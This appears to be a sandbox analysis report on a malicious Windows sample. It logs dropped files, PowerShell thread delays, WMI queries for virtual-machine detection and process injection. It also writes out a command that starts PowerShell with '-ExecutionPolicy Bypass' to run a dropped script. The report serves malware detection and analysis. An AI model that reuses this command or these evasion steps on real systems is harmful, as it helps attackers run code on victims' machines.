    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile opened / queried: C:\Windows\System32\DriverStore\FileRepository\vmci.inf_amd64_68ed49469341f563Jump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9150
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8345
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 487
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3845
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1195
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 661
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1202
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2273
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 615
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1947
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1423
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7484
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2057
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6120
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3587
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5393
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1690
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1456
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5449
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 688
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3694
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1465
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2776
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2124
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7302
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2348
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vk_swiftshader.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\resources\elevate.exeJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vk_swiftshader.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\libEGL.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\libGLESv2.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\libEGL.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\System.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vulkan-1.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\libGLESv2.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\vulkan-1.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\nsis7z.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\d3dcompiler_47.dllJump to dropped file
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7264Thread sleep count: 9150 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276Thread sleep count: 298 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7460Thread sleep time: -5534023222112862s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7360Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7268Thread sleep count: 8345 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7280Thread sleep count: 487 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468Thread sleep time: -3689348814741908s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7256Thread sleep count: 3845 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7464Thread sleep time: -5534023222112862s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7356Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016Thread sleep count: 1195 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6324Thread sleep time: -1844674407370954s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5028Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8036Thread sleep count: 661 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6308Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1568Thread sleep time: -1844674407370954s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124Thread sleep count: 1202 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4220Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8112Thread sleep count: 2273 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7452Thread sleep time: -2767011611056431s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7248Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8116Thread sleep count: 1947 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4768Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5948Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1708Thread sleep count: 1423 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7240Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140Thread sleep count: 35 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6768Thread sleep count: 7484 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6464Thread sleep count: 2057 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7572Thread sleep time: -3689348814741908s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4448Thread sleep count: 6120 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4448Thread sleep count: 3587 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6980Thread sleep time: -2767011611056431s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184Thread sleep count: 5393 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7608Thread sleep count: 77 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 384Thread sleep count: 1690 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7152Thread sleep time: -2767011611056431s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124Thread sleep count: 1456 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5948Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096Thread sleep count: 5449 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7384Thread sleep count: 76 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884Thread sleep count: 688 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5960Thread sleep time: -3689348814741908s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8004Thread sleep count: 3694 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760Thread sleep time: -1844674407370954s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6324Thread sleep count: 345 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844Thread sleep count: 1465 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8008Thread sleep count: 2776 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7816Thread sleep time: -1844674407370954s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7464Thread sleep count: 254 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880Thread sleep count: 2124 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7776Thread sleep count: 7302 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8124Thread sleep count: 2348 > 30
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716Thread sleep time: -16602069666338586s >= -30000s
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Users\user\AppData\Local\Temp\69564\Style.com TID: 6828Thread sleep time: -30000s >= -30000s
    Source: C:\Users\user\AppData\Local\Temp\69564\Style.com TID: 6820Thread sleep time: -30000s >= -30000s
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeKey opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\d0010809
    Source: C:\Users\user\AppData\Local\Temp\69564\Style.comWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH FullSizeInformation
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile Volume queried: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH FullSizeInformation
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile Volume queried: C:\Users\user FullSizeInformation
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeFile Volume queried: C:\Users\user FullSizeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\app-64.7zJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\resourcesJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\userJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exeFile opened: C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\localesJump to behavior
    Source: libGLESv2.dll.0.drBinary or memory string: VMware
    Source: ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: VMware Fusion 4 has corrupt rendering with Win Vista+
    Source: libGLESv2.dll.0.drBinary or memory string: IIAMDARMAppleBroadcomGoogleIntelMesaMicrosoftNVIDIAImagination TechnologiesQualcommSamsung Electronics Co., Ltd.VivanteVMwareVirtIOTestX
    Source: libGLESv2.dll.0.drBinary or memory string: (IsLinux() && isVMWare) || (IsAndroid() && isNvidia) || (IsAndroid() && GetAndroidSdkLevel() < 27 && IsAdreno5xxOrOlder(functions)) || (IsAndroid() && IsMaliT8xxOrOlder(functions)) || (IsAndroid() && IsMaliG31OrOlder(functions))
    Source: ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B425000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: VMware can crash with older drivers and WebGL content
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess information queried: ProcessInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
    Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug
    Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: Debug

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Bypasses PowerShell execution policy
    Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\FBjp1YLF5OVM30rhnV\specreal.ps1"
    Injects a PE file into a foreign processes
    Source: C:\Users\user\AppData\Local\Temp\69564\Style.comMemory written: C:\Users\user\AppData\Local\Temp\69564\Style.com base: 510000 value starts with: 4D5A
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
